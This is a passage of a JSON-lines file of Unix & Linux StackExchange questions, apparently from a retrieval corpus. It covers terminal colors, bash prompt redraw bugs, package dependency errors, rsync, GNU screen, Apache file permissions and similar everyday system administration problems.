system performance will be really helpful."} {"_id": "41545", "title": "How to have tail -f show colored output with vim?", "text": "In this question, Gilles answered > Yet another possibility is to run `tail -f` in an **Emacs** shell buffer and > use Emacs's syntax coloring abilities. Because I'm a vim user, I'd like to do this with _vim_ , not _emacs_. Does _vim_ have this feature?"} {"_id": "41548", "title": "Rationale for making user space text segment start at 0x8048000", "text": "I read somewhere that (at least since Linux v. 2.6) all user-space code is placed at load address 0x8048000 in the virtual memory address space. My own observations confirm this. I have done a cat /proc/......../maps for several processes and the very first section of a process' program `text` always starts at '0x8048000'. Furthermore the C library startup code and all the other runtime goodies all seem to be mapped after this default value. This constitutes almost 128 M of address space, not a lot considering that 0xC0000000 - 0x8048000 is still almost 3G of address space for user space stuff. So my question is why? We are dealing with virtual addresses, interference or overlap with other programs is excluded by definition of the way VM works. Are there some fixed/default mappings in the range 0x00000000 to 0x8048000 ? Apart from the fact that the default start address falls on a page boundary, what is the rationale for having chosen this number as opposed to any other value?"} {"_id": "148", "title": "Colorizing your terminal and shell environment?", "text": "I spend most of my time working in Unix environments and using terminal emulators. I try to use color on the command-lin, because color makes the output more useful and intuitive. What are some good ways to add color to my terminal environment? What tricks do you use? What pitfalls have you encountered? Unfortunately support for color is wildly variable depending on terminal type, OS, TERM setting, utility, buggy implementations, etc. Here's are some tips from my setup, after a lot of experimentation: 1. I tend to set `TERM=xterm-color`, which is supported on most hosts (but not all). 2. I work on a number of different hosts, different OS versions, etc. I use everything from MacOSX, Ubuntu Linux, RHEL/CentOS/Scientific Linux and FreeBSD. I'm trying to keep things simple and generic, if possible. 3. I do a bunch of work using GNU `screen`, which adds another layer of fun. 4. Many OSs set things like `dircolors` and by default, and I don't want to modify this on a hundred different hosts. So I try to stick with the defaults. Instead tweak my terminal's color configuration. 5. Use color for some unix commands (`ls`, `grep`, `less`, `vim`) and the Bash prompt. These commands seem to the standard \"ANSI escape sequences\". For example: alias less='less --RAW-CONTROL-CHARS' export LS_OPTS='--color=auto' alias ls='ls ${LS_OPTS} I'll post my `.bashrc` and answer my own question Jeopardy Style."} {"_id": "19219", "title": "How to colorize output of ls ?", "text": "I'm running CentOS in Linux text mode. When I run the command `ls /usr/`, the output is too hard to read (dark blue on black). How can I change the text coloring? ![Screenshot of the ls output](http://i.stack.imgur.com/Q5MLf.jpg)"} {"_id": "83637", "title": "How can I install latest VLC player in cent os 6.4?", "text": "I have installed cent os 6.4 in my laptop, I want to know the method of installing VLC in cent os 6.4, Is it necessary to download the vlc package and compile or can I use ''yum install vlc'' to install the same ?"} {"_id": "83635", "title": "Can not install wine on debian amd64:", "text": "Can not install wine on debian amd64: > sudo aptitude install wine-bin Note: selecting \"wine-bin:i386\" instead of > the virtual package \"wine-bin\" The following NEW packages will be installed: > gcc-4.8-base:i386{ab} libasound2:i386{a} libc6:i386{a} libc6-i686:i386{a} > libdbus-1-3:i386{a} libdrm-intel1:i386{a} libdrm-nouveau2:i386{a} libdrm- > radeon1:i386{a} libdrm2:i386{a} libexpat1:i386{a} libffi6:i386{a} > libfontconfig1:i386{a} libfreetype6:i386{a} libgcc1:i386{ab} > libgcrypt11:i386{a} libgl1-mesa-dri:i386{a} libgl1-mesa-glx:i386{a} > libglapi-mesa:i386{a} libglu1-mesa:i386{a} libgnutls26:i386{a} > libgpg-error0:i386{a} libgpm2:i386{a} libgsm1:i386{a} libice6:i386{a} > libjbig0:i386 libjpeg8:i386{a} libllvm3.2:i386{a} libltdl7:i386{a} > liblzma5:i386{a} libmpg123-0:i386{a} libncurses5:i386{a} libodbc1:i386{a} > libp11-kit0:i386{a} libpciaccess0:i386{a} libpng12-0:i386{a} libsm6:i386{a} > libssl1.0.0:i386{a} libstdc++6:i386{ab} libtasn1-3:i386{a} libtiff4:i386{a} > libtinfo5:i386{a} libtxc-dxtn-s2tc0:i386{a} libuuid1:i386{a} > libv4l-0:i386{a} libv4lconvert0:i386{a} libwine:i386{a} > libwine-alsa:i386{a} libwine-bin:i386{a} libwine-gecko-1.4{a} > libwine-gl:i386{a} libx11-6:i386{a} libx11-xcb1:i386{a} libxau6:i386{a} > libxcb-dri2-0:i386{a} libxcb-glx0:i386{a} libxcb1:i386{a} > libxcomposite1:i386{a} libxcursor1:i386{a} libxdamage1:i386{a} > libxdmcp6:i386{a} libxext6:i386{a} libxfixes3:i386{a} libxi6:i386{a} > libxinerama1:i386{a} libxml2:i386{a} libxrandr2:i386{a} libxrender1:i386{a} > libxslt1.1:i386{a} libxxf86vm1:i386{a} wine-bin:i386{b} zlib1g:i386{a} 0 > packages upgraded, 71 newly installed, 0 to remove and 0 not upgraded. Need > to get 84.1 MB of archives. After unpacking 253 MB will be used. The > following packages have unmet dependencies: gcc-4.8-base : Breaks: > gcc-4.8-base:i386 (!= 4.8.1-7) but 4.8.1-6 is to be installed. > gcc-4.8-base:i386 : Breaks: gcc-4.8-base (!= 4.8.1-6) but 4.8.1-7 is > installed. libgcc1 : Breaks: libgcc1:i386 (!= 1:4.8.1-7) but 1:4.8.1-6 is to > be installed. libgcc1:i386 : Breaks: libgcc1 (!= 1:4.8.1-6) but 1:4.8.1-7 is > installed. libstdc++6 : Breaks: libstdc++6:i386 (!= 4.8.1-7) but 4.8.1-6 is > to be installed. libstdc++6:i386 : Breaks: libstdc++6 (!= 4.8.1-6) but > 4.8.1-7 is installed. wine-bin:i386 : Conflicts: wine64-bin but 1.5.30-2 is > installed. The following actions will resolve these dependencies: > > > Keep the following packages at their current version: 1) > gcc-4.8-base:i386 [Not Installed] > > > 2) libasound2:i386 [Not Installed] > 3) libc6:i386 [Not Installed] > 4) libc6-i686:i386 [Not Installed] > 5) libdbus-1-3:i386 [Not Installed] > 6) libdrm-intel1:i386 [Not Installed] > 7) libdrm-nouveau2:i386 [Not Installed] > 8) libdrm-radeon1:i386 [Not Installed] > 9) libdrm2:i386 [Not Installed] > 10) libexpat1:i386 [Not Installed] > 11) libffi6:i386 [Not Installed] > 12) libfontconfig1:i386 [Not Installed] > 13) libfreetype6:i386 [Not Installed] > 14) libgcc1:i386 [Not Installed] > 15) libgcrypt11:i386 [Not Installed] > 16) libgl1-mesa-dri:i386 [Not Installed] > 17) libgl1-mesa-glx:i386 [Not Installed] > 18) libglapi-mesa:i386 [Not Installed] > 19) libglu1-mesa:i386 [Not Installed] > 20) libgnutls26:i386 [Not Installed] > 21) libgpg-error0:i386 [Not Installed] > 22) libgpm2:i386 [Not Installed] > 23) libgsm1:i386 [Not Installed] > 24) libice6:i386 [Not Installed] > 25) libjbig0:i386 [Not Installed] > 26) libjpeg8:i386 [Not Installed] > 27) libllvm3.2:i386 [Not Installed] > 28) libltdl7:i386 [Not Installed] > 29) liblzma5:i386 [Not Installed] > 30) libmpg123-0:i386 [Not Installed] > 31) libncurses5:i386 [Not Installed] > 32) libodbc1:i386 [Not Installed] > 33) libp11-kit0:i386 [Not Installed] > 34) libpciaccess0:i386 [Not Installed] > 35) libpng12-0:i386 [Not Installed] > 36) libsm6:i386 [Not Installed] > 37) libssl1.0.0:i386 [Not Installed] > 38) libstdc++6:i386 [Not Installed] > 39) libtasn1-3:i386 [Not Installed] > 40) libtiff4:i386 [Not Installed] > 41) libtinfo5:i386 [Not Installed] > 42) libtxc-dxtn-s2tc0:i386 [Not Installed] > 43) libuuid1:i386 [Not Installed] > 44) libv4l-0:i386 [Not Installed] > 45) libv4lconvert0:i386 [Not Installed] > 46) libwine:i386 [Not Installed] > 47) libwine-alsa:i386 [Not Installed] > 48) libwine-bin:i386 [Not Installed] > 49) libwine-gl:i386 [Not Installed] > 50) libx11-6:i386 [Not Installed] > 51) libx11-xcb1:i386 [Not Installed] > 52) libxau6:i386 [Not Installed] > 53) libxcb-dri2-0:i386 [Not Installed] > 54) libxcb-glx0:i386 [Not Installed] > 55) libxcb1:i386 [Not Installed] > 56) libxcomposite1:i386 [Not Installed] > 57) libxcursor1:i386 [Not Installed] > 58) libxdamage1:i386 [Not Installed] > 59) libxdmcp6:i386 [Not Installed] > 60) libxext6:i386 [Not Installed] > 61) libxfixes3:i386 [Not Installed] > 62) libxi6:i386 [Not Installed] > 63) libxinerama1:i386 [Not Installed] > 64) libxml2:i386 [Not Installed] > 65) libxrandr2:i386 [Not Installed] > 66) libxrender1:i386 [Not Installed] > 67) libxslt1.1:i386 [Not Installed] > 68) libxxf86vm1:i386 [Not Installed] > 69) wine-bin:i386 [Not Installed] > 70) zlib1g:i386 [Not Installed] > > > Leave the following dependencies unresolved: 71) > libgl1-mesa-glx:i386 recommends libgl1-mesa-dri:i386 (>= 7.2) > > > 72) libncurses5:i386 recommends libgpm2:i386 > 73) libwine:i386 recommends libgsm1:i386 (>= 1.0.13) > 74) libwine:i386 recommends libv4l-0:i386 (>= 0.5.0)"} {"_id": "83634", "title": "Gentoo mounting root as read only, why?", "text": "I just did a Gentoo fresh install but when I boot it the root filesystem mounts as read only. Once I login I can remount it with `mount -o remount,rw /` but it's not even recognizing my hostname. Someone on irc told me it could be that for some reason fsck bombs as root is always mount `ro` first and then `fsck` remounts it `rw`. I found someone having the same problems and I tried what he did but it didn't work for me Root file system is mounted read-only on boot on Gentoo Linux This is my fstab. **EDIT** I already fixed it, it was a problem with an option not enabled in the kernel Pseudo Filesystems ---> [*] Virtual memory file system support (former shm fs)"} {"_id": "83632", "title": "Install Openbox on Tiny Core Linux (core ISO)", "text": "How do I install Openbox on Tiny Core Linux (core ISO)? I tried: tce-load -wi openbox Installation finished without errors. Then I did: tce-run openbox But then I got this error: Openbox-Message: Failed to open the display from the DISPLAY enviroment variable. Maybe I must install X first or something else? What am I doing wrong?"} {"_id": "83630", "title": "UberSVN and TortoiseSVN, Question regarding version numbers", "text": "I installed on my OpenSuSE server the UberSVN platform for Subversion system. It has subversion 1.7.9. I installed some time ago Tortoise client 1.7.11 and it works well, but today I found this: > \"We're proud to announce that TortoiseSVN 1.7.11 has been released. It is > linked against Subversion 1.7.8\" Are there some problems that Tortoise would use a different version to that installed on the server (1.7.8 Tortoise vs 1.7.9 Subversion)? Now I would update Tortoise to a new version, can I update with no problem to last 1.7.13 that: \"We're proud to announce that TortoiseSVN 1.7.13 has been released. It is linked against Subversion 1.7.10\" (I think yes). Or can I update to 1.8.0 that: We're proud to announce that TortoiseSVN 1.8.0 has been released. It is linked against Subversion 1.8.0\" (I think no). I would write on UberSVN's forum but it seems in disuse for a while now."} {"_id": "125407", "title": "Airdrop compatible", "text": "Is there anything in Linux that implements whatever it is that makes Airdrop in OS X work? I'm not really familiar with that program, so I'm not sure what protocol it's using to communicate. _update_ Specifically I'm looking for a program(s) that if I fired them up, I'd be able to receive and send files to an OS X machine, like I was using Airdrop. (this may be like needing samba to network with windows)"} {"_id": "125408", "title": "Mouse not working correctly", "text": "So for the last month or so on my Ubuntu 13.10, after installing nvidia drivers and then re installing nouveau drivers (because nvidia didn't work correctly) I got a problem with my mouse. I just made fresh install of 14.04 LTS, but problem persists. Problem is: * Every 3rd or so click my mouse does not register left click. * Sometimes mouse makes double click when I make just a single left click. * Often mouse releases and reapplies left click when I am holding left button. For example when I try `xev | grep ButtonRelease` and click on rectangle, I often get double release output, sometimes even triple. I cannot even select text normally due to this problem, it usually goes like this: ![enter image description here](http://i.stack.imgur.com/KNq96.gif) I tried mouse in Windows 8.1 and it works perfectly. I am extremely frustrated because of this problem. I posted about this on Ask Ubuntu several weeks ago with no replies. **Update** : tested friend's wireless mouse and it works well. So maybe it's a defective mouse, but then why it works in Windows 8.1? **Update 2:** tested this mouse on friend's ubuntu 12.04 system and it works better, but still same problem happens. Does that mean it's defective mouse for sure? **Update 3:** I bought new simple Logitech mouse and the problem is solved. Apparently it was defective mouse."} {"_id": "137848", "title": "apt-mirror clean script isn't deleting anything", "text": "I am using `apt-mirror` to create a local Ubuntu mirror. It does succeed in downloading files from another mirror (there's about a couple gigabytes each week), but never removing anything or indicates files that can be deleted. I might run out of free space, eventually. The output of `apt-mirror` always include > 0.0 bytes in 0 files and 0 directories can be freed. > > Run /var/spool/apt-mirror/var/clean.sh for this purpose. The `clean.sh` is ran every time `apt-mirror` executes, because the content of `/var/spool/apt-mirror/var/postmirror.sh` is just /var/spool/apt-mirror/var/clean.sh Running `clean.sh` produces this output: > Removing 0 unnecessary files [0 bytes]... done. > > Removing 0 unnecessary directories... done. Here's my `mirror.list` file: ############# config ################## # # set base_path /var/spool/apt-mirror # # set mirror_path $base_path/mirror # set skel_path $base_path/skel # set var_path $base_path/var # set cleanscript $var_path/clean.sh # set defaultarch # set postmirror_script $var_path/postmirror.sh # set run_postmirror 0 set nthreads 20 set _tilde 0 # ############# end config ############## deb-i386 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty main restricted universe multiverse deb-i386 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-updates main restricted universe multiverse deb-i386 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-backports main restricted universe multiverse deb-i386 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-security main restricted universe multiverse deb-amd64 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty main restricted universe multiverse deb-amd64 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-updates main restricted universe multiverse deb-amd64 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-backports main restricted universe multiverse deb-amd64 http://ubuntu.c3sl.ufpr.br/ubuntu/ trusty-security main restricted universe multiverse clean http://archive.ubuntu.com/ubuntu"} {"_id": "137847", "title": "PostgreSQL installation error in debian", "text": "I'm trying to install PgSql in the system with following specs: Distributor ID: Debian Description: Debian GNU/Linux 7.1 Release: 7.1 x86_64 But I am getting an error like this The following packages have unmet dependencies: postgresql-9.3 : Depends: libc6 (>= 2.15) but 2.13-38+deb7u1 is to be installed How can I install the missing pakage? I tried `apt-get install libc6=2.13-38+deb7u1` and its showing `libc6 is already the newest version.` but still the issue persist."} {"_id": "137845", "title": "GNU/Linux: automatic cloning of a system with partitions encrypted with LUKS+dm-crypt", "text": "I would like to have an up-to-date clone of a (Debian) GNU/Linux system on an external HDD and therefore be able to replace the internal HDD with the external HDD at any time and being up and running in no time. Since the system is on a laptop, I can't rely on a hardware-based mirroring solution. I wish the backup procedure to be as automatic and as hassle-free as possible. For instance, it could run automatically at shutdown whenever an external HDD is connected. I already have an external HDD with a clone of system partitions. The caveat is that the partition that hosts the **/** directory is encrypted with LUKS+dm-crypt and I would rather avoid entering passwords again for the backup. I could mount the external encrypted partition automatically before shutdown. Does a ready-made solution exists? Please only reply if it does, because if it doesn't, then I will post a specific question to implement a custom solution. Thanks for your attention."} {"_id": "137844", "title": "Per-screen font config?", "text": "Is there a way to have different fontconfig settings per screen ? I have two 1080p monitors, however one is 13\" and the other 27\". I would like antialiased fonts on the small monitor, and non-antialiased fonts on the big monitor."} {"_id": "137842", "title": "What is the point of CTRL-s?", "text": "`CTRL`+`s` stops all output to the terminal which can be restarted with `CTRL`+`q`. But, why does `CTRL`+`s` exist in the first place? What problem was trying to be solved by putting that control sequence in place?"} {"_id": "28827", "title": "Why is my bash prompt getting bugged when I browse the history?", "text": "Often when I start looking at history of commands some of the characters from a command displayed aren't erased, for example: What's happening: prompt$ some_command prompt$ some_commanother_command What should have happened: prompt$ some_command prompt$ another_command I can't erase those characters and bash ignores them when executing the command. They also disappear when a new prompt is being displayed (after pressing `Enter` for example). I asked other people who work on Linux at my workplace and they said that they have that problem sometimes too, but they didn't have an idea on how solve that issue. I have Ubuntu 11.10 and I'm using guake. Here is my `PS1`: \\e[0;31m\\u \\A ${PWD##*/}\\e[0;32m$(parse_git_branch)\\e[0;31m$\\e[m where `parse_git_branch` is parse_git_branch () { git name-rev HEAD 2> /dev/null | sed 's#HEAD\\ \\(.*\\)# (\\1)#' } As far as I know my colleagues have that problem even with less \"fancy\" PS1."} {"_id": "78752", "title": "why bash history overlap the prompt when scroll up in the history?", "text": "I customized my bash prompt, PS1 value. `~/.bashrc`: Color_Off='\\e[0m' # Text Reset BGreen='\\e[1;32m' # Green BPurple='\\e[1;35m' # Purple BWhite='\\e[1;37m' # White BIBlue='\\e[1;94m' # Blue PS1=\"[\\[$BGreen\\w\\]\\[$Color_Off\\]]\\n[\\[$BPurple\\u\\]\\[$BWhite\\]@\\[$BIBlue\\h\\]\\[$Color_Off\\]]\\$ \" When I scroll up in the history with up arrow from the keyboard, after a lot of command I can see these: [/etc] [bicocca@bicoccag]$ vi [/etc] [bicocca@bicoccag]$ vim [/etc] [bicoclear The command overlaps the prompt. How I can resolve the issue? I tried to search in Google but I did not found anything. I am using RHEL6.4."} {"_id": "56072", "title": "Why does this PS1 value cause unexpected behaviour?", "text": "> **Possible Duplicate:** > Why is my bash prompt getting bugged when I browse the history? I have set my `PS1` variable in `.bashrc` to be the following: `PS1='\\e[35m[\\W]:\\e[0m '` It achieved what it was intended to (change the color of the prompt which displays `cwd` inside `[]` and before `:`), but when I search through my command history, sometimes parts of commands that I cycle over become attached to the prompt. For example: [~]: echo \"something\" something [~]: date Sun Nov 18 17:07:54 PST 2012 [~]: sudo apt-get install vim ... Now, say I want to return to my `echo \"something\"` command, I press up and get [~]: sudo apt-get install vim I press up again and this happens [~]: sudo apt-date up again [~]: sudo apt-echo \"something\" and if I delete everything on the command line by pressing backspace, it deletes all the way back to [~]: sudo apt- It has no affect on the command. For example, the line `[~]: sudo apt-date` will still print the output of `date` etc. Why is this happening and how can I achieve the desired prompt without the side effects?"} {"_id": "139938", "title": "meaning of Netstat local address column", "text": "Local address on netstat output: When I do `netstat -ntlp` there is a column called `Local Address`: * sometimes it would output IP address as `0.0.0.0:7180` * and sometimes `127.0.0.1:9001` What's the implications of both notations? Does specific IP address act like a filter for incoming connections? E.g. for `127.0.0.1:9001` it will only accept connections from localhost on port 9001? Thanks in advance."} {"_id": "71777", "title": "gstreamer: no element >>x264enc<<", "text": "I want to encode a videostream to h264. But when I start the gstreamer program I get the following error. No Element >>x264enc<< I installed the gst-plugins-bad, gst-plugins-ugly and gst-plugins-good, so the plugin is installed on my PC. How can i tell my PC that the codec is installed? I use Debian Squeeze 6.05 with the Kernel 2.6.32."} {"_id": "71776", "title": "How can I configure dnsmasq to resolve based on the source of the request?", "text": "I'm trying to get SiriProxy to work whenever I'm connected to my home network by setting up dnsmasq on my router running the Tomato firmware to send all requests to the Apple Siri server to my local machine running SiriProxy. The problem is, of course, that the machine running SiriProxy needs to access the \"real\" Apple Siri server. I don't know how often it changes IP addresses, so the simple solution would just be to point it at the IP address... However, is there a way to configure DNSMasq so it will only obey the \"address\" configuration option when the request is (or is not) coming from certain clients? Alternatively.. does anyone have a better solution?"} {"_id": "71774", "title": "How can I make monodevelop render text in KDE?", "text": "Monodevelop from git in KDE 4.10.2 does not render text in code edit tabs ![monodevelop run in xterm in kde - no text rendered, no errors](http://i.stack.imgur.com/LzfCE.png) I tried with xfce and text is rendered ok there. I tried disabling composition with alt shift f12 and restarting x server but it was no better. I also tried disabling font softening in monodevelop options and disabling plugins. I also tried temporarily deleting my KDE profile. This is dual screen setup on Nvidia with nouveau. OS is slackware64-current."} {"_id": "71772", "title": "How should man pages be installed?", "text": "When distributing a custom utility I'll typically write a makefile that installs binaries to `/usr/local` by default PREFIX ?= /usr/local MANPREFIX ?= ${PREFIX}/man install: install utility ${PREFIX}/bin/ install utility.1 ${MANPREFIX}/man1/ The path to local binaries is fairly standard across different platforms, but the man path is not * Linux: `/usr/local/share/man` or `/usr/local/man` * MacOS - `/usr/local/share/man` * BSD: `/usr/local/man` Is there a portable way to write this makefile? It seems unreasonable to expect users to set MANPREFIX to the correct path before installing. **EDIT:** BSD make support assignment of a shell command using `!=`, which could be used to test if a path exists SHARE != [ -d ${PREFIX}/share/man ] && echo /share || true MANPREFIX ?= ${PREFIX}${SHARE}/man This is a new feature for GNU make, so it's likely not portable yet. This works in GNU make, but not BSD make: MANPREFIX ?= $(shell [ -d ${PREFIX}/share/man ] && echo ${PREFIX}/share/man || echo ${PREFIX}/man)"} {"_id": "71779", "title": "bash script that shows mysql innodb log file size", "text": "I am creating bash script that gives me size of mysql innodb log file in **MB**. Currently I am getting its output in bytes. Please check it out following script and help to get output in MB. #! /bin/sh a=$(mysql -uroot -proot -e \"SHOW VARIABLES\" | grep innodb_log_file_size | cut -f2) b=$(echo \"$a/$10240\" ) echo {\"Innodb_log_file_size\":\"'$b'\"' }"} {"_id": "147874", "title": "Changing keyboard layout on Scientific Linux 6.0 and creating new keyboard shortcuts?", "text": "I have two questions regarding keyboard input and shortcuts: Is it possible to change the keyboard layout on Scientific Linux 6.0 and how can it be done? Is it possible to define new keyboard shortcuts so that the terminal can be launched for example, with CTRL+ALT+T ?"} {"_id": "76204", "title": "Rename two files", "text": "I would like to rename two files files by using a script. E.g. mv plugin-cfg.xml plugin-cfg2.xml and mv plugin-cfgbk.xml plugin-cfg.xml I need to do this in multiple directories. Question: How can I do this with just one command in each directory instead of two?"} {"_id": "76200", "title": "How to find files with a certain subpath?", "text": "I need to find all xml-files that are placed in folders named `config`. Also `config` must be somewhere under a folder named `trunk`. For example, I am interested in all files like below: ~/projects/e7/trunk/a/b/c/config/foo.xml ~/projects/d/trunk/config/bar.xml ~/projects/trunk/config/other.xml ~/projects/e/e/e/trunk/e/e/e/e/e/e/e/e/config/eeeee.xml I tried the `find` command: find ~/projects -regex \"*/trunk/*/config/*.xml\" , but the output was empty. What is the correct way to find the required files?"} {"_id": "76201", "title": "Line endings when using GNU Screen", "text": "I'm seeing some slightly odd behaviour when using GNU Screen 4.00.03 on a Red Hat Enterprise Linux 6.4 system. If I connect without Screen, looking at the logs I can see each line is terminated with CRLF (`0x0D 0x0A`), exactly as expected. If I connect and run Screen, lines with two or more characters are terminated with CRLF as expected. Lines with no printed characters (eg from running a bare `echo`) are terminated only with LF (`0x0A`), and most bizarrely of all, lines with a single printed character (eg `echo x`) are terminated with BSLF (`0x08 0x0A`). I'm seeing this with PuTTY, and the above logs are from PuTTY logs. I'm also seeing this with automated Python frameworks using Pexpect, so I'm not blaming PuTTY for this. What's going on? How do I stop it?"} {"_id": "147876", "title": "Can I specify the layout of a vsplit command?", "text": "When I do the `:vsplit` command, it always opens the new file on the left side of the screen. Is there a way I can specify I want the new file to open to the right?"} {"_id": "8039", "title": "Network problems after Ubuntu upgrade", "text": "I'm having real problems having upgraded Ubuntu from 10.04 to 10.10. My main problem is I cannot get a network connection either wired or wireless. When I right click the Network manager applet the Enable Networking check box is greyed out and unchecked. Any ideas how to resolve this? Thanks"} {"_id": "151316", "title": "How to send a output of unix command from one server to another server?", "text": "How to redirect the output of a unix command from one server to another server. I should be able to send the unix command's output from server-1. Then I should be able to receive the output in Server-2 and write it into a file."} {"_id": "46860", "title": "Getting Dropbox to sync over SSH", "text": "I am using Scientific Linux on my office computer and home laptop. I was usually signed in before I leave my office so when I made a change over SSH on my office computer, Dropbox would automatically sync the change. But this time I rebooted my office computer using SSH with `/sbin/reboot`, and after signing in again it would no longer update Dropbox. I guess this is because Dropbox needs to be signed in once locally to continue syncing. How can I set Dropbox syncing remotely over SSH on my office computer?"} {"_id": "86656", "title": "How to install video driver in Debian?", "text": "I have an old computer with an ATI Radeon 1150. I installed Debian but I don't have a driver for hardware accelerated OpenGL. What should I do?"} {"_id": "44912", "title": "Are dash, ash and sh script 100% compatible?", "text": "I wanted to know whether scripts written for dash, ash, and sh are 100% compatible? Are there any added features to dash or ash, or syntax change? From what I heard, ash is a direct descendant of sh."} {"_id": "44911", "title": "Configuring Xorg.conf for i915 intel driver", "text": "I have a MotionComputing M1400 pen tablet. It runs Debian Squeeze, and today I noticed it was using software rendering for OpenGL, so I decided to try to use the `intel` driver. My chipset is the Intel 855GM. When I initially installed Debian, I had to modify xorg.conf so it would pick up my pen. That `/etc/X11/xorg.conf` is here. To install the driver, I added the ppa `ppa:glasen/intel-driver` and ran `sudo apt-get install xserver-xorg-video- intel`. Upon reboot, my cursor is visible, but I'm sitting at a black screen. My cursor changes to a text selection cursor when I move it over certain parts of the screen, which seem to be the login prompt. I went into tty6 and stopped gdm3 with `/etc/init.d/gdm3 stop` and then tried `Xorg -configure`, which failed. Here is the log file it produced. I tried to combine the `xorg.conf.new` it created with my original `xorg.conf` into a new `xorg.conf`, which is here, but that didn't work either. What should I do to get a graphical interface back?"} {"_id": "86650", "title": "Why does this one-liner clobber files?", "text": "I have written this to help me batch-encode some videos: find -name '*.mkv' -exec HandBrakeCLI -Z \"Android Tablet\" \\ -c \"1-3\" -m -O --x264-tune film -E copy --decomb -s 1 -i {} \\ -o `echo {} | tr mkv m4v` \\; However, it fails catastrophically -- it takes each 700-900MB file and replaces it with a 36KB file. Notably, HandBrake is able to read and print the properties of the video file; it is only when it moves on to encode it that it fails because the file is invalid. So it appears that the overwriting occurs when it gets to... -o `echo {} | tr mkv m4v` ...but I am not sure why it should. I am simply trying to change the output filename from whatever.mkv to whatever.m4v The filenames do not have spaces. They are of the form `12-the-revenge.mkv`, for instance."} {"_id": "44919", "title": "How to configure permissions to allow apache to securely have access to a file in a shared environment?", "text": "This is a follow up question from my previous, but I felt it might be more Linux based. http://serverfault.com/questions/414207/how-to-set-linux-permissions-to-allow- apache-to-have-access-to-a-file At my school we have a shared server environment with several users and several groups. Relavent Groups: `students` `daemon` (runs apache) I want to allow students to be able to have full access to files they own and no access to other students files.Two different students should not be able to even see each others files. I also want apache to be able to read and execute all student files. Specifically I want apache to be able to read a password file owned by each student, I also want the owner of the password file to have full access to it. From my understanding, the best way to do this is to change the group owner of the password file to be apache. So after reading this, http://serverfault.com/questions/357108/what-are-the-best-linux-permissions- to-use-for-my-website it seems a simple chgrp would fix it. But then I run into this: You must be owner of the file(s) as well as a member of the destination group (or root) to use this operation. So each of the students are not a part of the daemon group, they cannot run this command. Giving them that group would be pointless in that they would be able to see other student's password files as well. From the previous thread I gathered that the current security settings are unfit and I have scheduled a meeting with my system administrator tommarrow. But I'm still unsure what I should ask my systemadmin to do. I can't really ask him to manually change the permissions for every password file on the server, the filenames and locations are different and many students are not even set up yet. Allowing students to have full access to chgrp seems dangerous, My inclination seems to ask him to create some type of script that would prompt the student for a file and then run chgrp in place of the student, thus giving apache group ownership. This seems viable, but also pretty complicated as I'm still pretty new to Linux. Would he be able to do something like this easily? I've also considered ACL's but my train of thought goes right back to chgrp, giving students access to setacl seems dangerous."} {"_id": "44918", "title": "Unable to host a server with Xpra, only connect to an existing one", "text": "I've downloaded and installed Xpra from their distribution hosted on winswitch. However, when I try to run it on my server I'm getting: > This xpra install does not support starting local servers. and indeed, it won't accept the `start` mode, only the `attach` mode. What am I doing wrong, and how can I host an xpra session after all? Running Red Hat Enterprise Linux Server release 6.0 (Santiago), Linux version 2.6.32-71.el6.x86_64"} {"_id": "95964", "title": "How to use rsync to backup large files by either appending or replacing", "text": "I am using rsync to backup some large files regularly: rsync --archive --update --append-verify [source] [destination] Most of the times, the files increase in size (like a log file), but sometimes they are \"reset\" to empty, from which point they start growing again. Now, the problem is, with either --append or --append-verify, the files that have been reset will be completely ignored/skipped, according to the rsync man page: > \"If a file needs to be transferred and its size on the receiver is the same > or longer than the size on the sender, the file is skipped.\" I would like to achieve the following rsync behavior: 1. REPLACE if the source file is smaller than the destination file, otherwise 2. VERIFY that the destination file matches the first part of source file. If not, REPLACE the destination file 3. APPEND if the source file is bigger than the destination file Is this possible?"} {"_id": "123054", "title": "screenrc subshell for every window", "text": ".screenrc: shell -${SHELL} caption always \"%n(%t) %= %{b}@%H[%l] : %{r}%c:%s\" termcapinfo xterm ti@:te@ termcap xterm 'AF=\\E[3%dm:AB=\\E[4%dm' terminfo xterm 'AF=\\E[3%p1%dm:AB=\\E[4%p1%dm' startup_message off screen -t server 0 rails s screen -t spork 1 bundle exec spork screen -t dev_log tail -f ./log/test.log Pressing Ctrl+C in any of the screen windows above destroys it. I would like to have subshell for every so if I press Ctrl+C than I just exit to that subshell. Right now I'm running `screen` and creating all windows above manually, renaming them and it works great. I can terminate any program on any window, do something else and run it again. What I want to achieve is to have that set-up to run with just one command."} {"_id": "86658", "title": "Easily get a particular column from output without sed or awk", "text": "Is there a quicker way of getting a couple of column of values than futzing with `sed` and `awk`? For instance, if I have the output of `ls -hal /` and I want to just get the file and directory names and sizes, how can I _easily_ and _quickly_ doing that, without having to spend several minutes tweaking my command. total 16078 drwxr-xr-x 33 root wheel 1.2K Aug 13 16:57 . drwxr-xr-x 33 root wheel 1.2K Aug 13 16:57 .. -rw-rw-r-- 1 root admin 15K Aug 14 00:41 .DS_Store d--x--x--x 8 root wheel 272B Jun 20 16:40 .DocumentRevisions-V100 drwxr-xr-x+ 3 root wheel 102B Mar 27 12:26 .MobileBackups drwx------ 5 root wheel 170B Jun 20 15:56 .Spotlight-V100 d-wx-wx-wt 2 root wheel 68B Mar 27 12:26 .Trashes drwxrwxrwx 4 root wheel 136B Mar 30 20:00 .bzvol srwxrwxrwx 1 root wheel 0B Aug 13 16:57 .dbfseventsd ---------- 1 root admin 0B Aug 16 2012 .file drwx------ 1275 root wheel 42K Aug 14 00:05 .fseventsd drwxr-xr-x@ 2 root wheel 68B Jun 20 2012 .vol drwxrwxr-x+ 289 root admin 9.6K Aug 13 10:29 Applications drwxrwxr-x 7 root admin 238B Mar 5 20:47 Developer drwxr-xr-x+ 69 root wheel 2.3K Aug 12 21:36 Library drwxr-xr-x@ 2 root wheel 68B Aug 16 2012 Network drwxr-xr-x+ 4 root wheel 136B Mar 27 12:17 System drwxr-xr-x 6 root admin 204B Mar 27 12:22 Users drwxrwxrwt@ 6 root admin 204B Aug 13 23:57 Volumes drwxr-xr-x@ 39 root wheel 1.3K Jun 20 15:54 bin drwxrwxr-t@ 2 root admin 68B Aug 16 2012 cores dr-xr-xr-x 3 root wheel 4.8K Jul 6 13:08 dev lrwxr-xr-x@ 1 